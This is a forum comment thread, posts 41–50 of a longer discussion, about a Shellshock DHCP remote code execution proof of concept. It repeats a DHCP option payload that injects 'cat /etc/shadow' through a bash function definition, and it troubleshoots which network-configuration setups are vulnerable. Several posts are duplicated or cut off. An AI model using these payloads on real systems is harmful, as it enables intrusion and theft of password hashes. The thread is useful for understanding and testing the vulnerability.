Holy shit that is scary. Package this on an android phone and you can wreak havoc on any random network
Shellshock DHCP Remote Code Execution – Proof of Concept
41–50 of 160 posts
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#42https://github.com/mschwager/shellshock_poc
I tested it with my laptop and android phone on my wifi network.
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#43option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow"
or
option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow";
not working.
dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP address leasetime 600 (10m) OPTION: 1 ( 4) Subnet mask 255.255.255.0 OPTION: 3 ( 4) Routers 192.168.1.1 OPTION: 15 ( 39) Domainname () { :;}; cat /etc/shadow > /tmp/shadow
What could be the problem?
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#44Yeah, I don't think anyone has grasped the extent of how dangerous this vuln is -- was it released a little prematurely? is it still in "embargo"? This is hundreds of times worse than heartbleed in terms of scope/attack surface for modern servers... (I say hundreds of times worse because heartbleed was scrape-some-data-till-you-get-private-keys-and-watch-communication, where this is just get-yourself-a-shell-and-pwn-…
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#45I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…
I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if-.d, and if any of those are written in bash, then you see the issue. None of the scripts in /etc/network/if-.d on my system used bash, they all used /bin/sh, so on a Debian system where that points to dash instead of bash you're OK.
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#46I believe there will be plenty of linux NASs that will be vulnerable for the forseeable future. NASs are usually bigger and more functional than routers, they tend to run a more full system. Many of these for exampe run bash as far as I remember: http://www.amazon.com/s/field-keywords=QNAP
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#47I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…
What were you using to configure networking on the target machine? NetworkManager, ifupdown, something else? I found that with ifupdown, you see the issue, as it uses dhclient which in turn calls out to dhclient-script, which is written in bash. If you use NetworkManager, it doesn't call dhclient-script; it does however call the scripts in /etc/network/if- .d, and if any of those are written in bash, then you see the…
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#48I created a python + scapy poc: https://github.com/mschwager/shellshock_poc I tested it with my laptop and android phone on my wifi network.
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#49I've tried to replay this attack in VM environment using Debian, but no luck. option dhcp_114_FW_URL code 114 = text; option dhcp_114_FW_URL "() { ignored;}; cat /etc/shadow > /tmp/shadow" or option domain-name "() { :;}; cat /etc/shadow > /tmp/shadow"; not working. dhcpdump says that option sends correctly: OPTION: 53 ( 1) DHCP message type 5 (DHCPACK) OPTION: 54 ( 4) Server identifier 192.168.1.1 OPTION: 51 ( 4) IP…
Re: Shellshock DHCP Remote Code Execution – Proof of Concept
#50Holy shit that is scary. Package this on an android phone and you can wreak havoc on any random network
Assuming it's a network full of machines who haven't bothered updating yet. EDIT: right?